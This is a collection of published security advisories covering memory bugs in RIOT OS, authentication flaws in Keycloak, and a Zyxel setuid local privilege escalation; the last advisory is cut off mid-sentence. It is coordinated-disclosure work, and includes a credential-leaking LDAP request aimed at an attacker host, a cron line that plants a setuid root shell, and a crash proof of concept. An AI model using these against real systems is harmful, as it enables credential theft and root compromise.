616 | https://github.com/RIOT-OS/RIOT/pull/20587 617 | 618 | See also: 619 | https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-r87w-9vw9-f7cx 620 | 621 | 622 | --[ 3.8 - Off-by-one buffer overflow and unterminated string in RIOT /pkg/lwext4/fs/lwext4_fs.c 623 | 624 | We spotted an off-by-one buffer overflow in RIOT source code at: 625 | 626 | * /pkg/lwext4/fs/lwext4_fs.c 627 | 628 | We also spotted the lack of explicit NUL-termination after strncpy() in the 629 | same file. 630 | 631 | If an attacker is able to make `mount_point` at least `CONFIG_EXT4_MAX_MP_NAME` 632 | bytes large, `strcat()` would write a NUL byte past the end of the `mp.name` 633 | buffer, thus potentially overwriting the next member of the `ext4_mountpoint` 634 | struct [7]. 635 | 636 | See the marked line below: 637 | ```c 638 | static int prepare(lwext4_desc_t *fs, const char *mount_point) 639 | { 640 | mtd_dev_t *dev = fs->dev; 641 | struct ext4_blockdev_iface *iface = &fs->iface; 642 | 643 | memset(&fs->mp, 0, sizeof(fs->mp)); 644 | memset(&fs->bdev, 0, sizeof(fs->bdev)); 645 | memset(&fs->iface, 0, sizeof(fs->iface)); 646 | 647 | strncpy(fs->mp.name, mount_point, CONFIG_EXT4_MAX_MP_NAME); 648 | strcat(fs->mp.name, "/"); // VULN: off-by-one buffer overflow 649 | 650 | int res = mtd_init(dev); 651 | if (res) { 652 | return res; 653 | } 654 | ... 655 | ``` 656 | 657 | Since `sizeof(dirent->name)` is 255 and `sizeof(entry->d_name)` is only 32, if 658 | an attacker can control the input to `strncpy()` they would be able to create a 659 | non NUL-terminated string in `entry->d_name`. When such corrupted string is 660 | used in other parts of the code, it may cause information leakage or memory 661 | corruption. 662 | 663 | See the marked line below: 664 | ```c 665 | static int _readdir(vfs_DIR *dirp, vfs_dirent_t *entry) 666 | { 667 | ext4_dir *dir = _get_ext4_dir(dirp); 668 | 669 | const ext4_direntry *dirent = ext4_dir_entry_next(dir); 670 | if (dirent == NULL) { 671 | return 0; 672 | } 673 | 674 | strncpy(entry->d_name, (char *)dirent->name, sizeof(entry->d_name)); // VULN 675 | 676 | return 1; 677 | } 678 | ``` 679 | 680 | In our understanding, the impact of these vulnerabilities in this specific case 681 | is quite limited. However, all bugs that have the potential to cause memory 682 | corruption should be taken seriously and fixed as security bugs. 683 | 684 | Fixes: 685 | https://github.com/RIOT-OS/RIOT/pull/20586 686 | 687 | See also: 688 | https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-2hx7-c324-3rxv 689 | 690 | 691 | --[ 3.9 - Unsafe use of the return value of snprintf() and out-of-bounds memory access in RIOT /sys/shell/cmds/vfs.c 692 | 693 | We spotted an unsafe use of the return value of `snprintf()` that leads to an 694 | out-of-bounds memory access in RIOT source code at: 695 | 696 | * /sys/shell/cmds/vfs.c 697 | 698 | The `snprintf()` function returns the number of characters (excluding the 699 | terminating NUL byte) which would have been written to the destination string 700 | if enough space had been available. 701 | 702 | If an attacker is able to craft input so that the final string would become 703 | larger than `bs`, they can exploit this bug to cause a buffer overflow. 704 | 705 | See the marked lines below: 706 | ```c 707 | static void _write_block(int fd, unsigned bs, unsigned i) 708 | { 709 | char block[bs]; 710 | char *buf = block; 711 | 712 | buf += snprintf(buf, bs, "|%03u|", i); // VULN: snprintf() returns the total length of the string it tried to create, which may be larger than bs 713 | 714 | memset(buf, _get_char(i), &block[bs] - buf); // VULN: buf can point past the block buffer, in addition &block[bs] - buf would be negative and become a large unsigned value 715 | block[bs - 1] = '\n'; 716 | 717 | vfs_write(fd, block, bs); 718 | } 719 | ``` 720 | 721 | We put together a quick proof-of-concept to demonstrate this issue: 722 | ``` 723 | raptor@blumenkraft Research % cat ret1.c 724 | #include 725 | #include 726 | #include 727 | 728 | static char _get_char(unsigned i) 729 | { 730 | i %= 62; /* a-z, A-Z, 0..9, -> 62 characters */ 731 | 732 | if (i < 10) { 733 | return '0' + i; 734 | } 735 | i -= 10; 736 | 737 | if (i <= 'z' - 'a') { 738 | return 'a' + i; 739 | } 740 | i -= 1 + 'z' - 'a'; 741 | 742 | return 'A' + i; 743 | } 744 | 745 | static void _write_block(unsigned bs, unsigned i) 746 | { 747 | char block[bs]; 748 | char *buf = block; 749 | 750 | buf += snprintf(buf, bs, "|%03u|", i); // VULN: unsafe use of return value 751 | 752 | memset(buf, _get_char(i), &block[bs] - buf); // VULN: oob memory write, size becomes a large unsigned value 753 | block[bs - 1] = '\n'; 754 | } 755 | 756 | int main(int argc, char **argv) 757 | { 758 | if (argc < 3) 759 | return 1; 760 | 761 | _write_block(atoi(argv[1]), atoi(argv[2])); 762 | 763 | return 0; 764 | } 765 | raptor@blumenkraft Research % make ret1 766 | cc ret1.c -o ret1 767 | raptor@blumenkraft Research % ./ret1 5 10 768 | raptor@blumenkraft Research % ./ret1 5 1000000 769 | zsh: segmentation fault ./ret1 5 1000000 770 | ``` 771 | 772 | If the input above is attacker-controlled and crosses a security boundary, the 773 | impact of the buffer overflow vulnerability could range from denial of service 774 | to (less likely in this case) arbitrary code execution. 775 | 776 | Fixes: 777 | https://github.com/RIOT-OS/RIOT/pull/20546 778 | https://github.com/RIOT-OS/RIOT/pull/20595 779 | 780 | See also: 781 | https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-frp5-4gfp-84j3 782 | 783 | 784 | --[ 3.10 - Lack of size checks and buffer overflows in RIOT /sys/net/application_layer/emcute/emcute.c 785 | 786 | We spotted the lack of size checks that may lead to buffer overflows in RIOT 787 | source code at: 788 | 789 | * /sys/net/application_layer/emcute/emcute.c 790 | 791 | The `emcute_con()` function does not implement a size check before copying data 792 | to the `tbuf` static buffer. If an attacker can craft a long enough payload, 793 | they could cause a buffer overflow. 794 | 795 | See the marked line below: 796 | ```c 797 | int emcute_con(sock_udp_ep_t *remote, bool clean, const char *will_topic, 798 | const void *will_msg, size_t will_msg_len, unsigned will_flags) 799 | { 800 | int res; 801 | size_t len; 802 | 803 | assert(!will_topic || (will_topic && will_msg && !(will_flags & ~PUB_FLAGS))); 804 | 805 | mutex_lock(&txlock); 806 | 807 | /* check for existing connections and copy given UDP endpoint */ 808 | if (gateway.port != 0) { 809 | return EMCUTE_NOGW; 810 | } 811 | memcpy(&gateway, remote, sizeof(sock_udp_ep_t)); 812 | 813 | /* figure out which flags to set */ 814 | uint8_t flags = (clean) ? EMCUTE_CS : 0; 815 | if (will_topic) { 816 | flags |= EMCUTE_WILL; 817 | } 818 | 819 | /* compute packet size */ 820 | len = (strlen(cli_id) + 6); 821 | tbuf[0] = (uint8_t)len; 822 | tbuf[1] = CONNECT; 823 | tbuf[2] = flags; 824 | tbuf[3] = PROTOCOL_VERSION; 825 | byteorder_htobebufs(&tbuf[4], CONFIG_EMCUTE_KEEPALIVE); 826 | memcpy(&tbuf[6], cli_id, strlen(cli_id)); // VULN: lack of size check and potential buffer overflow 827 | ... 828 | ``` 829 | 830 | The `emcute_unsub()` function does not implement a size check before copying 831 | data to the `tbuf` static buffer. If an attacker can craft a long enough 832 | payload, they could cause a buffer overflow. 833 | 834 | See the marked line below: 835 | ```c 836 | int emcute_unsub(emcute_sub_t *sub) 837 | { 838 | assert(sub && sub->topic.name); 839 | 840 | if (gateway.port == 0) { 841 | return EMCUTE_NOGW; 842 | } 843 | 844 | mutex_lock(&txlock); 845 | 846 | tbuf[0] = (strlen(sub->topic.name) + 5); 847 | tbuf[1] = UNSUBSCRIBE; 848 | tbuf[2] = 0; 849 | byteorder_htobebufs(&tbuf[3], id_next); 850 | waitonid = id_next++; 851 | memcpy(&tbuf[5], sub->topic.name, strlen(sub->topic.name)); // VULN: lack of size check and potential buffer overflow 852 | 853 | int res = syncsend(UNSUBACK, (size_t)tbuf[0], false); 854 | if (res == EMCUTE_OK) { 855 | if (subs == sub) { 856 | subs = sub->next; 857 | } 858 | else { 859 | emcute_sub_t *s; 860 | for (s = subs; s; s = s->next) { 861 | if (s->next == sub) { 862 | s->next = sub->next; 863 | break; 864 | } 865 | } 866 | } 867 | } 868 | 869 | mutex_unlock(&txlock); 870 | return res; 871 | } 872 | ``` 873 | 874 | If the unchecked input above is attacker-controlled and crosses a security 875 | boundary, the impact of the buffer overflow vulnerabilities could range from 876 | denial of service to arbitrary code execution. 877 | 878 | There is currently no fix for these issues. RIOT maintainers do not consider 879 | them to be security critical bugs and therefore they are currently discussing 880 | them publicly. 881 | 882 | See also: 883 | https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-x27v-gqp4-7jq3 884 | 885 | 886 | --[ 4 - Affected products 887 | 888 | RIOT 2024.01 and (likely) earlier versions are affected by the vulnerabilities 889 | discussed in this advisory. 890 | 891 | 892 | --[ 5 - Remediation 893 | 894 | RIOT maintainers have fixed all the vulnerabilities discussed in this advisory, 895 | except for those reported in GHSA-x27v-gqp4-7jq3, which are not considered 896 | security critical bugs and are currently being discussed publicly. 897 | 898 | Please check the official RIOT channels for further information about fixes. 899 | 900 | 901 | --[ 6 - Disclosure timeline 902 | 903 | We reported the vulnerabilities discussed in this advisory to RIOT maintainers 904 | in January 2024, via the handy private reporting feature [8] that is available 905 | on GitHub. 906 | 907 | We are not sure of the reason of the significant delay in the initial 908 | maintainers' response. However, once we got their attention they quickly 909 | triaged and fixed all vulnerabilities. They also informed us that: 910 | 911 | * They are treating such delay as an additional security incident. 912 | * They added another maintainer to the security group as an immediate action. 913 | * They plan on discussing this shortcoming on the next maintainer assembly to 914 | find a long term solution. 915 | 916 | The coordinated disclosure timeline follows: 917 | 918 | 2024-01-10: Reported the first vulnerability to the RIOT project. 919 | 2024-01-11: Reported four more vulnerabilities. 920 | 2024-01-12: Reported the rest of the vulnerabilities. 921 | 2024-02-09: Asked for feedback on . 922 | 2024-03-05: Asked again for feedback on . 923 | 2024-04-05: Asked again for feedback via GitHub and got the first reply. 924 | 2024-04-06: Started collaborating with RIOT to evaluate proposed fixes. 925 | 2024-04-10: First security advisory published on GitHub. 926 | 2024-04-17: Another security advisory published on GitHub. 927 | 2024-04-24: Asked for a status update on the remaining reports. 928 | 2024-04-25: Two more security advisories published on GitHub. 929 | 2024-04-26: Another security advisory published on GitHub. 930 | 2024-04-30: Three more security advisories published on GitHub. 931 | 2024-05-07: Published advisory and writeup. 932 | 933 | 934 | --[ 7 - Acknowledgments 935 | 936 | We would like to thank RIOT maintainers for triaging and fixing the reported 937 | vulnerabilities in a particularly friendly and professional way. We really 938 | appreciated working with them! 939 | 940 | 941 | --[ 8 - References 942 | 943 | [1] https://www.riot-os.org/ 944 | [2] https://github.com/RIOT-OS/RIOT 945 | [3] https://security.humanativaspa.it/ost2-zephyr-rtos-and-a-bunch-of-cves/ 946 | [4] https://security.humanativaspa.it/multiple-vulnerabilities-in-rt-thread-rtos/ 947 | [5] https://security.humanativaspa.it/big-update-to-my-semgrep-c-cpp-ruleset/ 948 | [6] https://security.humanativaspa.it/a-collection-of-weggli-patterns-for-c-cpp-vulnerability-research/ 949 | [7] https://github.com/gkostka/lwext4/blob/58bcf89a121b72d4fb66334f1693d3b30e4cb9c5/src/ext4.c#L75 950 | [8] https://docs.github.com/en/code-security/security-advisories 951 | 952 | 953 | Copyright (c) 2024 Marco Ivaldi and Humanativa Group. All rights reserved. 954 | -------------------------------------------------------------------------------- /HNS-2024-08-Keycloak.md: -------------------------------------------------------------------------------- 1 | # HN Security Advisory - https://security.humanativaspa.it/ 2 | 3 | * Title: Multiple authentication and authorization vulnerabilities in Keycloak 4 | * Products: Keycloak <= 24.0.5 5 | * Author: Ema Srdoc and Maurizio Agazzini 6 | * Date: 2024-10-30 7 | * CVE Names and Vendor CVSS Scores: 8 | CVE-2024-3656: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N 9 | * Advisory URLs: 10 | https://github.com/hnsecurity/vulns/blob/main/HNS-2024-08-Keycloak.md 11 | 12 | # Description 13 | 14 | Multiple issues have been identified regarding the authentication and authorization of certain endpoints in the Keycloak software. 15 | 16 | ## Unauthenticated access to certain functionalities 17 | 18 | It has been observed that certain functionalities within Keycloak, specifically the */metrics* and */health* endpoints, are accessible without proper authentication. Even though these endpoints do not provide sensitive information, it is preferable that they are accessible only to authenticated individuals with the correct privileges. 19 | 20 | ## Unauthorized use of administrative features by low-privilege users 21 | 22 | Additionally, users with low privileges are able to utilize administrative functionalities within the Keycloak admin interface. This issue presents a significant security risk as it allows unauthorized users to perform actions reserved for administrators, potentially leading to data breaches or system compromise. Affected endpoints are: 23 | 24 | - /admin/realms/myrealm/client-registration-policy/providers 25 | - /admin/myrealm/console/whoami 26 | - /admin/realms/myrealm/testLDAPConnection 27 | 28 | In particular, the last functionality (*testLDAPConnection*), in the event that an AD authentication system has been configured, allows to modify application data, **enabling the submission of an LDAP request and consequently the access credentials to a malicious endpoint**. 29 | 30 | An attacker with access to a non-administrative user can modify the *connectionUrl* parameter, and the password will be sent to an attacker-controller server. To successfully execute the attack, it's also necessary to know the *componentId* related to the domain authentication, which is retrievable in the cookies K*EYCLOAK_SESSION*, *KEYCLOAK_SESSION_LEGACY*, and in the responses returned by the */admin/myrealm/console/whoami* endpoints. 31 | 32 | Example of modified request: 33 | 34 | ``` http 35 | POST /admin/realms/myrealm/testLDAPConnection HTTP/2 36 | Host: idp.url 37 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0 38 | Accept: application/json, text/plain, */* 39 | Accept-Language: en-GB,en;q=0.5 40 | Accept-Encoding: gzip, deflate, br 41 | Referer: https://idp.url/admin/myrealm/console/ 42 | Authorization: Bearer [...] 43 | Content-Type: application/json 44 | Content-Length: 308 45 | Origin: https://idp.url 46 | Sec-Fetch-Dest: empty 47 | Sec-Fetch-Mode: cors 48 | Sec-Fetch-Site: same-origin 49 | Te: trailers 50 | 51 | {"connectionUrl":"ldap://evil.hnsecurity.it","bindDn":"cn=test","bindCredential":"**********","useTruststoreSpi":"","connectionTimeout":"5000","startTls":"false","authType":"simple","action":"testAuthentication","componentId":"12345-1234-1234-1234-123456789"} 52 | ``` 53 | 54 | # Affected platforms 55 | 56 | All Keycloak versions up to and including version 24.0.5 are affected. 57 | 58 | # Disclosure timeline 59 | 60 | 04/04/2024 - First communication sent with all details. 61 | 09/04/2024 - Response with request of clarifications. 62 | 09/04/2024 - More details sent. 63 | 09/04/2024 - Second reply. 64 | 09/04/2024 - [Proposed fix](https://github.com/keycloak/keycloak/pull/27629) for the first issue. 65 | 10/04/2024 - Multiple emails about the first issue. 66 | 02/05/2024 - Request for information about the second issue (which is more severe). 67 | 09/05/2024 - Response with assigned CVE-2024-3656 and request to not release any details: `For the moment there is no estimated keycloak version to include the fix` 68 | 27/05/2024 - Request for an update and a timeline for the fix 69 | 11/06/2024 - [Advisory](https://github.com/keycloak/keycloak/security/advisories/GHSA-2cww-fgmg-4jqc) published without any notification. 70 | -------------------------------------------------------------------------------- /HNS-2024-09-Keycloak.md: -------------------------------------------------------------------------------- 1 | # HN Security Advisory - https://security.humanativaspa.it/ 2 | 3 | * Title: Multiple race conditions in Keycloak's anti-brute force mechanism 4 | * Products: 5 | * Keycloak <= 22.0.11 6 | * Keycloak <= 24.0.6 7 | * Keycloak <= 25.0.2 8 | * Author: Ema Srdoc and Maurizio Agazzini 9 | * Date: 2024-10-30 10 | * CVE Names and Vendor CVSS Scores: 11 | CVE-2024-4629: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N 12 | * Advisory URLs: 13 | https://github.com/hnsecurity/vulns/blob/main/HNS-2024-09-Keycloak.md 14 | 15 | # Description 16 | 17 | Race conditions in the context of web applications, particularly in authentication processes involving user credentials and one-time passwords (OTPs), pose significant security risks. 18 | 19 | In a typical authentication scenario, when a user submits their credentials (username and password) through a form, the server validates these credentials before granting access. However, in the presence of race conditions, multiple requests from the same user or different users may arrive at the server simultaneously or in rapid succession. 20 | 21 | Keycloak implements an anti-brute force mechanism (which is not enabled by default) which should limit the attack attempts by locking out user accounts after a configured number of incorrect login attempts: 22 | 23 | - https://www.keycloak.org/docs/latest/server_admin/#password-guess-brute-force-attacks 24 | 25 | Based on our analysis, the software does not implement controls to block attacks of this kind; therefore, it's possible to send multiple requests that are processed simultaneously, completely bypassing the anti-brute-force mechanism. Furthermore, when the account is locked, active sessions are not invalidated. 26 | 27 | The issue has been verified both on the username and password-based login and on the OTP request. No checks have been performed on the "Quick Login Check Milliseconds" functionality, but we expect it to be affected by the same issue. 28 | 29 | The configuration used for testing was set to lockout user accounts after 3 incorrect login attempts. 30 | 31 | Further details on the technique used are available here: 32 | - https://portswigger.net/research/smashing-the-state-machine 33 | - https://portswigger.net/research/the-single-packet-attack-making-remote-race-conditions-local 34 | - https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack 35 | 36 | # Affected platforms 37 | 38 | All Keycloak versions up to and including version 22.0.11, 24.0.6, 25.0.2 are affected. 39 | 40 | # Disclosure timeline 41 | 42 | 18/04/2024 - First communication with details. 43 | 18/04/2024 - Response: we can't see the details. 44 | 18/04/2024 - Send details again as an attachment. 45 | 02/05/2024 - Request for a follow-up. 46 | 09/05/2024 - Response: CVE-2024-4629 assigned, fix in backlog. 47 | 24/05/2024 - Request for a roadmap of the fix. 48 | 22/08/2024 - Request for a follow-up. 49 | 26/08/2024 - Response: already fixed and published as a [public issue](https://github.com/keycloak/keycloak/issues/31726) 50 | 03/09/2024 - [CVE-2024-4629](https://access.redhat.com/security/cve/CVE-2024-4629) is published. 51 | -------------------------------------------------------------------------------- /HNS-2025-10-zyxel-fermion.txt: -------------------------------------------------------------------------------- 1 | --[ HNS-2025-10 - HN Security Advisory - https://security.humanativaspa.it/ 2 | 3 | * Title: Local privilege escalation via Zyxel fermion-wrapper 4 | * Product: USG FLEX H Series 5 | * OS: Zyxel uOS V1.31 (and potentially earlier versions) 6 | * Author: Marco Ivaldi 7 | * Date: 2025-04-23 8 | * CVE ID: CVE-2025-1731 (see discussion in "5 - Remediation" below) 9 | * Severity: High - 7.8 - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 10 | * CWE ID: CWE-61 - https://cwe.mitre.org/data/definitions/61.html 11 | * HN Security URLs: 12 | https://github.com/hnsecurity/vulns/blob/main/HNS-2025-10-zyxel-fermion.txt 13 | https://github.com/0xdea/exploits/blob/master/zyxel/raptor_fermion 14 | https://security.humanativaspa.it/local-privilege-escalation-on-zyxel-usg-flex-h-series-cve-2025-1731 15 | * Vendor URLs: 16 | https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-incorrect-permission-assignment-and-improper-privilege-management-vulnerabilities-in-usg-flex-h-series-firewalls-04-22-2025 17 | https://community.zyxel.com/en/discussion/28988/usg-flex-h-series-v1-32patch-0-firmware-release 18 | 19 | --[ 0 - Table of contents 20 | 21 | 1 - Summary 22 | 2 - Background 23 | 3 - Vulnerabilities 24 | 3.1 - Analysis 25 | 3.2 - Exploitation 26 | 4 - Affected products 27 | 5 - Remediation 28 | 6 - Disclosure timeline 29 | 7 - Acknowledgments 30 | 8 - References 31 | 32 | --[ 1 - Summary 33 | 34 | "So we wait, this is our labour... we wait." 35 | -- Anthony Swofford on fuzzing 36 | 37 | The Zyxel USG FLEX H Series is a high-performance firewall series designed to 38 | meet the needs of demanding and high-speed networks. It features several 39 | gigabit ports, a user-friendly in-house operating system, and excellent 40 | performance for tasks like UTM (Unified Threat Management) and VPN (Virtual 41 | Private Network) functionalities. The USG FLEX H Series offers faster boot 42 | times and improved CPU performance, making it superior to the standard USG FLEX 43 | Series [1]. 44 | 45 | We have identified some security vulnerabilities in the Zyxel uOS Linux-based 46 | operating system distributed with these appliances, that allow local users with 47 | access to a Linux OS shell to escalate privileges to root. 48 | 49 | --[ 2 - Background 50 | 51 | Because of our previous public research on Zyxel appliances [2], after 52 | discovering a remote command execution vulnerability (CVE-2025-1731) in the 53 | latest USG FLEX H Series [3], Alessandro Sgreccia (@rainpwn) of HackerHood 54 | contacted us and asked for help with finding local privilege escalation 55 | vectors. 56 | 57 | Since USG FLEX H Series devices are based on a new aarch64 hardware and ship 58 | with a completely revamped Linux-based operating system (Zyxel uOS) that is 59 | supposed to be "secure by default" (a claim reminiscent of Oracle's 60 | "unbreakable" marketing campaign in the days of yore [4]), we couldn't resist 61 | giving it a try... We quickly identified a viable privilege escalation vector 62 | related to the `Recovery Manager` functionality (CVE-2025-1732) that was 63 | reported to the vendor by Alessandro together with his other findings [3]. 64 | 65 | However, we were not done yet. Since Alessandro kindly provided us with access 66 | to his USG FLEX 100H test device, we decided to keep looking for some other 67 | low-hanging fruits, as an excuse to battle-test our new "vulnerability 68 | divination" suite written in Rust [5] [6]. We started by examining setuid root 69 | binaries distributed with the OS. 70 | 71 | --[ 3 - Vulnerabilities 72 | 73 | The custom setuid root binary program `/usr/sbin/fermion-wrapper` follows 74 | symbolic links in the `/tmp` directory when run with the `register-status` 75 | argument. This allows local users with access to a Linux OS shell to trick the 76 | program into creating writable files at arbitrary locations in the filesystem. 77 | This vulnerability can be exploited to overwrite arbitrary files or locally 78 | escalate privileges from low-privileged user (e.g., `postgres`) to root. 79 | 80 | In addition, we identified a second issue in the filesystem: the `/tmp` 81 | directory doesn't have the sticky bit set. This small, overlooked detail 82 | simplifies exploitation of the `fermion-wrapper` vulnerability and may also 83 | open the door to all sorts of havoc. 84 | 85 | --[ 3.1 - Analysis 86 | 87 | We leveraged our haruspex [7] and oneiromancer [8] tools to streamline our 88 | binary audit workflow: 89 | 90 | ``` 91 | raptor@fnord Downloads % haruspex fermion-wrapper 92 | haruspex 0.4.1 - Tool to extract IDA decompiler's pseudo-code 93 | Copyright (c) 2024-2025 Marco Ivaldi 94 | 95 | [*] Trying to analyze binary file "fermion-wrapper" 96 | [+] Successfully analyzed binary file 97 | 98 | [-] Processor: ARM Little-endian 99 | [-] Compiler: GNU 100 | [-] File type: ELF 101 | 102 | [*] Preparing output directory "fermion-wrapper.dec" 103 | [+] Output directory is ready 104 | 105 | [*] Extracting pseudo-code of functions... 106 | 107 | ... 108 | 109 | [+] Decompiled 98 functions into "fermion-wrapper.dec" 110 | [+] Done processing binary file "fermion-wrapper" 111 | 112 | raptor@fnord Downloads % oneiromancer fermion-wrapper.dec/sub_4068AC@4068AC.c 113 | oneiromancer 0.3.0 - GenAI assistant for C code analysis 114 | Copyright (c) 2025 Marco Ivaldi 115 | 116 | [*] Analyzing source code in "fermion-wrapper.dec/sub_4068AC@4068AC.c" 117 | [+] Successfully analyzed source code 118 | 119 | /* 120 | * getDeviceRegistrationStatus() 121 | * 122 | * This function retrieves the registration status of a device and stores 123 | * it in provided pointers. It uses cURL to make an HTTP request to a 124 | * specific URL with various options set for authentication and certificate 125 | * verification. The response is parsed using JSON to extract relevant 126 | * information about the device's registration status. If successful, 127 | * it updates cache files and performs additional actions based on the 128 | * registration status. 129 | */ 130 | 131 | ... 132 | 133 | [*] Saving improved source code in "fermion-wrapper.dec/sub_4068AC@4068AC.out.c" 134 | [+] Done analyzing source code 135 | ``` 136 | 137 | We ended up with the following relevant pseudo-code for the `sub_4068AC` 138 | function, that is called directly by `main`: 139 | 140 | ```c 141 | __int64 __fastcall sub_4068AC(_DWORD *isRegistered, _DWORD *isNeoAgentRegistered, _DWORD *bundleLicenseStatus) 142 | { 143 | ... 144 | requestUrl = "https://he.myzyxel.com/v1/device/status"; 145 | jsonData = 0LL; 146 | operationResult = -1; 147 | statusCheckResult = 7; 148 | if ( geteuid() ) 149 | sub_4072FC("/usr/bin/sudo", "/usr/bin/sudo", "/usr/bin/touch"); 150 | bufferSize = sub_4067DC(deviceName, 20); 151 | curlHandle = curl_easy_init(bufferSize); 152 | if ( curlHandle ) 153 | { 154 | bioMemHandle = BIO_s_mem(); 155 | bioHandle = BIO_new(bioMemHandle); 156 | if ( bioHandle ) 157 | { 158 | ... 159 | errorCode = curl_easy_perform(curlHandle); 160 | if ( !errorCode ) 161 | { 162 | jsonData = (unsigned __int64 *)json_load_callback(sub_406878, bioHandle, 0LL, &jsonDataPointer); 163 | if ( jsonData ) 164 | { 165 | statusValue = (_DWORD *)json_object_get(jsonData, "register"); 166 | ... 167 | if ( !operationResult ) 168 | { 169 | statusCheckResult = 0; 170 | statusCode = 2 * (2 * *isRegistered + *isNeoAgentRegistered) + *bundleLicenseStatus; 171 | fileStream = fopen("/share/neoagent/cache_register_status", "w"); 172 | if ( fileStream ) 173 | { 174 | fprintf(fileStream, "%s\n", deviceName); 175 | fprintf(fileStream, "%d\n", statusCode); 176 | fclose(fileStream); 177 | } 178 | fileStream = fopen("/tmp/register_status", "w"); // VULN 179 | if ( fileStream ) 180 | { 181 | fprintf(fileStream, "%s\n", deviceName); 182 | fprintf(fileStream, "%d\n", statusCode); 183 | fclose(fileStream); 184 | } 185 | sub_406518(statusCheckResult, deviceName, errorCode); 186 | if ( !access("/usr/sbin/dha_send_fsync", 0) ) 187 | { 188 | sub_4072FC("/usr/sbin/build_dha_cert_neoagent.sh", "/usr/sbin/build_dha_cert_neoagent.sh", 0LL); 189 | sub_4072FC("/usr/sbin/dha_send_fsync", "/usr/sbin/dha_send_fsync", "8"); 190 | } 191 | } 192 | ... 193 | ``` 194 | 195 | As you might suspect, the vulnerability lies at the line marked with `VULN`: 196 | the binary running with elevated privileges can be tricked into following a 197 | symbolic link placed in `/tmp/register_status` by a local low-privileged user. 198 | 199 | As mentioned earlier, exploitation is simplified by the lack of sticky bit in 200 | the filesystem permissions of the `/tmp` directory, that allows an attacker to 201 | replace any existent `/tmp/register_status` file even if it's owned by another 202 | user, including root: 203 | 204 | ``` 205 | $ ls -ld /tmp 206 | drwxrwxrwx 30 root root 2240 Feb 27 18:16 /tmp # ¯\_(ツ)_/¯ 207 | ``` 208 | 209 | --[ 3.2 - Exploitation 210 | 211 | We have crafted a proof-of-concept exploit [9] that demonstrates how to achieve 212 | local privilege escalation. It can be used as follows: 213 | 214 | ``` 215 | $ ./raptor_fermion 216 | raptor_fermion - Zyxel fermion-wrapper root LPE exploit 217 | Copyright (c) 2025 Marco Ivaldi 218 | 219 | [*] Exploiting /usr/sbin/fermion-wrapper 220 | $ uname -a 221 | Linux FLEX100H-HackerHood 4.14.207-10.3.7.0-2 #5 SMP PREEMPT Thu Jan 9 04:34:58 UTC 2025 aarch64 GNU/Linux 222 | $ id 223 | uid=502(postgres) gid=502(postgres) groups=502(postgres) 224 | $ ls -l /usr/sbin/fermion-wrapper 225 | -rwsr-xr-x 1 root root 44288 Jan 9 05:34 /usr/sbin/fermion-wrapper 226 | {"status": 0, "registered": 1, "nebula_registered": 1, "bundle": 1} 227 | 228 | [+] Everything looks good \o/, wait an hour and check /tmp/pwned 229 | $ ls -l /etc/cron.d/runme 230 | -rw-rw-rw- 1 root postgres 79 Feb 14 15:52 /etc/cron.d/runme 231 | $ cat /etc/cron.d/runme 232 | * * * * * cp /bin/sh /tmp/pwned; chmod 4755 /tmp/pwned; rm /etc/cron.d/runme 233 | 234 | [+] Run the shell as follows to bypass bash checks: /tmp/pwned -p 235 | 236 | [about one hour later...] 237 | 238 | $ ls -l /tmp/pwned 239 | -rwsr-xr-x 1 root root 916608 Feb 14 16:25 /tmp/pwned 240 | $ /tmp/pwned -p 241 | # id 242 | uid=502(postgres) gid=502(postgres) euid=0(root) groups=502(postgres) 243 | # R00t D4nc3!!!111! \o/ 244 | ``` 245 | 246 | The code should be straightforward to understand. Note how we pulled off the 247 | old-school `umask 0` trick to be able to control the content of the file 248 | created by the vulnerable setuid binary. Also note how for some reason files in 249 | `/etc/cron.d` get processed every 50 minutes or so, instead of almost instantly 250 | as it happens on a standard Linux distribution... We leave the quest of looking 251 | for a better exploitation vector as an exercise for you, dear reader;) 252 | 253 | --[ 4 - Affected products 254 | 255 | We confirmed the vulnerabilities in the following products and firmware 256 | versions: 257 | 258 | ``` 259 | $ cat /rw/fwversion 260 | ... 261 | MODEL_ID=USG FLEX 100H 262 | KERNEL_VERSION=4.14 263 | CAPWAP_VER=undefined 264 | FIRMWARE_VER=1.31(ABXF.0) 265 | KERNEL_BUILD_DATE=2025-01-09 04:35:09 266 | BUILD_DATE=2025-01-09 04:35:47 267 | FSH_VER=1.0.0 268 | ``` 269 | 270 | ``` 271 | $ cat /rw/fwversion 272 | ... 273 | MODEL_ID=USG FLEX 200H 274 | KERNEL_VERSION=4.14 275 | CAPWAP_VER=undefined 276 | FIRMWARE_VER=1.31(ABWV.0) 277 | KERNEL_BUILD_DATE=2025-01-09 05:10:23 278 | BUILD_DATE=2025-01-09 05:11:31 279 | FSH_VER=1.0.0 280 | ``` 281 | 282 | Other products and earlier firmware versions may also be vulnerable. Please 283 | refer to Zyxel's official security advisory for additional information. 284 | 285 | --[ 5 - Remediation 286 | 287 | During the whole coordinated disclosure process, Zyxel was very responsive. 288 | 289 | Unfortunately, they insisted in using the already-assigned CVE-2025-1731 as the 290 | identifier for our local privilege escalation vulnerability. These are their 291 | statements in this regard: 292 | 293 | "Our product team has identified that the attack surface of the local 294 | privileges escalation issue stems from an incorrect permission assignment 295 | within the PostgreSQL commands. This misconfiguration grants users with 296 | 'postgres' privileges the ability to access the Linux shell. A similar issue 297 | was recently reported by another researcher, and CVE-2025-1731 has been 298 | reserved to identify the vulnerability." 299 | 300 | "We kindly request any evidence demonstrating an alternative method to access 301 | the device's Linux shell for executing the malicious scripts or the PoC 302 | exploit, 'raptor_fermion,' that you previously shared. If such evidence is 303 | unavailable, we will proceed with using CVE-2025-1731 as the identifier for 304 | this issue." 305 | 306 | "We could not identify any explicit evidence in your report that demonstrates 307 | an alternative method distinct from CVE-2025-1731 that would allow attackers to 308 | gain access to the Linux shell. Consequently, we have decided not to assign a 309 | separate CVE ID to the local privilege escalation issue, as it aligns with the 310 | 